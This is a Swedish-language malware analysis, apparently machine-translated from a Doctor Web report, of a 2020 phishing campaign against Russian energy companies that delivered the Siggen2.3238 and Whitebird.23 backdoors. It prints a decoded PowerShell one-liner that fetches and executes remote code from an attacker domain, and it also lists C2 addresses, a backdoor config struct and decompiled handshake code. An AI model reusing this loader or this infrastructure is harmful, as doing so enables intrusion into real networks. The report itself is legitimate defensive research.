Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

Vår erfarenhet av att undersöka datasäkerhetsincidenter visar att e-post fortfarande är en av de vanligaste kanalerna som används av angripare för att initialt penetrera attackerad nätverksinfrastruktur. En vårdslös handling med ett misstänkt (eller inte så misstänkt) brev blir en startpunkt för ytterligare infektion, varför cyberkriminella aktivt använder sociala ingenjörsmetoder, om än med varierande framgång.

I det här inlägget vill vi prata om vår senaste undersökning av en spamkampanj riktad mot ett antal företag i det ryska bränsle- och energikomplexet. Alla attacker följde samma scenario med falska e-postmeddelanden, och ingen verkade ha lagt ner mycket ansträngning på textinnehållet i dessa e-postmeddelanden.

Underrättelsetjänst

Allt började i slutet av april 2020, när Doctor Web-virusanalytiker upptäckte en skräppostkampanj där hackare skickade en uppdaterad telefonkatalog till anställda i ett antal företag i det ryska bränsle- och energikomplexet. Naturligtvis var detta inte en enkel oro, eftersom katalogen inte var verklig, och .docx-dokumenten laddade ner två bilder från fjärrresurser.

En av dem laddades ner till användarens dator från news[.]zannews[.]com-servern. Det är anmärkningsvärt att domännamnet liknar domänen för anti-korruptionsmediacentret i Kazakstan - zannews[.]kz. Å andra sidan påminde den använda domänen omedelbart om en annan 2015-kampanj känd som TOPNEWS, som använde en ICEFOG-bakdörr och hade trojanska kontrolldomäner med understrängen "nyheter" i deras namn. En annan intressant funktion var att när man skickade e-postmeddelanden till olika mottagare använde förfrågningar om att ladda ner en bild antingen olika förfrågningsparametrar eller unika bildnamn.

Vi tror att detta gjordes i syfte att samla in information för att identifiera en "pålitlig" adressat, som sedan skulle vara garanterad att öppna brevet vid rätt tidpunkt. SMB-protokollet användes för att ladda ner bilden från den andra servern, vilket kunde göras för att samla in NetNTLM-hashar från datorerna hos anställda som öppnade det mottagna dokumentet.

Och här är själva brevet med den falska katalogen:

Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

I juni i år började hackare använda ett nytt domännamn, sports[.]manhajnews[.]com, för att ladda upp bilder. Analysen visade att manhajnews[.]com-underdomäner har använts i skräppostutskick sedan åtminstone september 2019. Ett av målen för denna kampanj var ett stort ryskt universitet.

I juni kom också arrangörerna av attacken med en ny text till sina brev: denna gång innehöll dokumentet information om industriutveckling. Brevets text visade tydligt att dess författare antingen inte var ryska som modersmål eller medvetet skapade ett sådant intryck av sig själv. Tyvärr visade sig idéerna om industriutveckling, som alltid, bara vara ett omslag - dokumentet laddade återigen ner två bilder, medan servern ändrades till nedladdning[.]inklingpaper[.]com.

Nästa innovation följde i juli. I ett försök att kringgå upptäckten av skadliga dokument av antivirusprogram började angripare använda Microsoft Word-dokument krypterade med ett lösenord. Samtidigt bestämde sig angriparna för att använda en klassisk social ingenjörsteknik – belöningsmeddelande.

Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

Uppropstexten skrevs återigen i samma stil, vilket väckte ytterligare misstankar hos adressaten. Servern för att ladda ner bilden ändrades inte heller.

Observera att i alla fall användes elektroniska brevlådor registrerade på domänerna mail[.]ru och yandex[.]ru för att skicka brev.

Ge sig på

I början av september 2020 var det dags för åtgärder. Våra virusanalytiker registrerade en ny våg av attacker, där angripare återigen skickade brev under förevändning att de skulle uppdatera en telefonkatalog. Den här gången innehöll dock bilagan ett skadligt makro.

När det bifogade dokumentet öppnades skapade makrot två filer:

  • VBS-skript %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, som var avsett att starta en batchfil;
  • Själva batchfilen %APPDATA%configstest.bat, som var obfuskerad.

Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

Kärnan i dess arbete handlar om att lansera Powershell-skalet med vissa parametrar. Parametrarna som skickas till skalet avkodas till kommandon:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Som följer av de presenterade kommandona är domänen från vilken nyttolasten laddas ner igen förklädd som en nyhetssajt. En enkel lastare, vars enda uppgift är att ta emot skalkod från kommando- och kontrollservern och exekvera den. Vi kunde identifiera två typer av bakdörrar som kan installeras på offrets dator.

Bakdörr.Siggen2.3238

Den första är Bakdörr.Siggen2.3238 — våra specialister hade inte stött på tidigare, och det fanns heller inga omnämnanden av detta program av andra antivirusleverantörer.

Detta program är en bakdörr skriven i C++ och körs på 32-bitars Windows-operativsystem.

Bakdörr.Siggen2.3238 kan kommunicera med hanteringsservern med hjälp av två protokoll: HTTP och HTTPS. Det testade exemplet använder HTTPS-protokollet. Följande User-Agent används i förfrågningar till servern:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

I det här fallet levereras alla förfrågningar med följande uppsättning parametrar:

%s;type=%s;length=%s;realdata=%send

där varje rad %s på motsvarande sätt ersätts av:

  • ID för den infekterade datorn,
  • typ av begäran som skickas,
  • datalängden i realdatafältet,
  • data.

I stadiet för att samla in information om det infekterade systemet genererar bakdörren en rad som:

lan=%s;cmpname=%s;username=%s;version=%s;

där lan är IP-adressen för den infekterade datorn, cmpname är datornamnet, användarnamn är användarnamnet, version är raden 0.0.4.03.

Denna information med sysinfo-identifieraren skickas via en POST-begäran till kontrollservern som finns på https[:]//31.214[.]157.14/log.txt. Om som svar Bakdörr.Siggen2.3238 tar emot HEART-signalen anses anslutningen vara lyckad och bakdörren börjar huvudcykeln för kommunikation med servern.

Mer komplett beskrivning av driftprinciper Bakdörr.Siggen2.3238 finns i vår virusbibliotek.

Bakdörr.Whitebird.23

Det andra programmet är en modifiering av BackDoor.Whitebird-bakdörren, som vi redan känner till från incidenten med en statlig myndighet i Kazakstan. Denna version är skriven i C++ och är designad att köras på både 32-bitars och 64-bitars Windows-operativsystem.

Som de flesta program av denna typ, Bakdörr.Whitebird.23 utformad för att upprätta en krypterad anslutning med kontrollservern och obehörig kontroll av en infekterad dator. Installeras i ett komprometterat system med hjälp av en dropper Bakdörr.Siggen2.3244.

Provet vi undersökte var ett skadligt bibliotek med två exporter:

  • Google Play
  • Test.

I början av sitt arbete dekrypterar den konfigurationen som är kopplad till bakdörrskroppen med hjälp av en algoritm baserad på XOR-operationen med byte 0x99. Konfigurationen ser ut så här:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

För att säkerställa dess konstanta drift ändrar bakdörren det värde som anges i fältet arbetstimmar konfigurationer. Fältet innehåller 1440 byte, som tar värdena 0 eller 1 och representerar varje minut av varje timme på dygnet. Skapar en separat tråd för varje nätverksgränssnitt som lyssnar på gränssnittet och letar efter auktoriseringspaket på proxyservern från den infekterade datorn. När ett sådant paket upptäcks lägger bakdörren till information om proxyservern till sin lista. Kontrollerar dessutom om det finns en proxy via WinAPI InternetQueryOptionW.

Programmet kontrollerar aktuell minut och timme och jämför dem med data i fältet arbetstimmar konfigurationer. Om värdet för motsvarande minut på dagen inte är noll, upprättas en förbindelse med kontrollservern.

Att upprätta en anslutning till servern simulerar skapandet av en anslutning med TLS version 1.0-protokollet mellan klienten och servern. Bakdörrens kropp innehåller två buffertar.

Den första bufferten innehåller TLS 1.0 Client Hello-paketet.

Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

Den andra bufferten innehåller TLS 1.0 Client Key Exchange-paket med en nyckellängd på 0x100 byte, Change Chipher Spec, Encrypted Handshake Message.

Vi utreder en riktad spionattack mot det ryska bränsle- och energikomplexet

När du skickar ett Client Hello-paket skriver bakdörren 4 byte av den aktuella tiden och 28 byte pseudoslumpdata i fältet Client Random, beräknat enligt följande:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Det mottagna paketet skickas till kontrollservern. Svaret (Server Hello-paket) kontrollerar:

  • överensstämmelse med TLS-protokoll version 1.0;
  • överensstämmelse mellan tidsstämpeln (de första 4 byten i fältet Random Data-paket) specificerad av klienten till tidsstämpeln specificerad av servern;
  • matchning av de första 4 byten efter tidsstämpeln i fältet Random Data för klienten och servern.

Vid de angivna matchningarna förbereder bakdörren ett klientnyckelutbytespaket. För att göra detta, modifierar den den offentliga nyckeln i Client Key Exchange-paketet, liksom krypterings- IV och krypteringsdata i paketet Encrypted Handshake Message.

Bakdörren tar sedan emot paketet från kommando- och kontrollservern, kontrollerar att TLS-protokollversionen är 1.0 och accepterar sedan ytterligare 54 byte (paketets kropp). Detta slutför anslutningskonfigurationen.

Mer komplett beskrivning av driftprinciper Bakdörr.Whitebird.23 finns i vår virusbibliotek.

Slutsats och slutsatser

Analys av dokument, skadlig programvara och den infrastruktur som används gör att vi med tillförsikt kan säga att attacken förbereddes av en av de kinesiska APT-grupperna. Med tanke på funktionen hos bakdörrar som installeras på offrens datorer i händelse av en framgångsrik attack, leder infektion åtminstone till stöld av konfidentiell information från datorer hos attackerade organisationer.

Ett mycket troligt scenario är dessutom installationen av specialiserade trojaner på lokala servrar med en speciell funktion. Dessa kan vara domänkontrollanter, e-postservrar, Internet-gateways etc. Som vi kunde se i exemplet incident i Kazakstan, sådana servrar är av särskilt intresse för angripare av olika anledningar.

Källa: will.com

Lägg en kommentar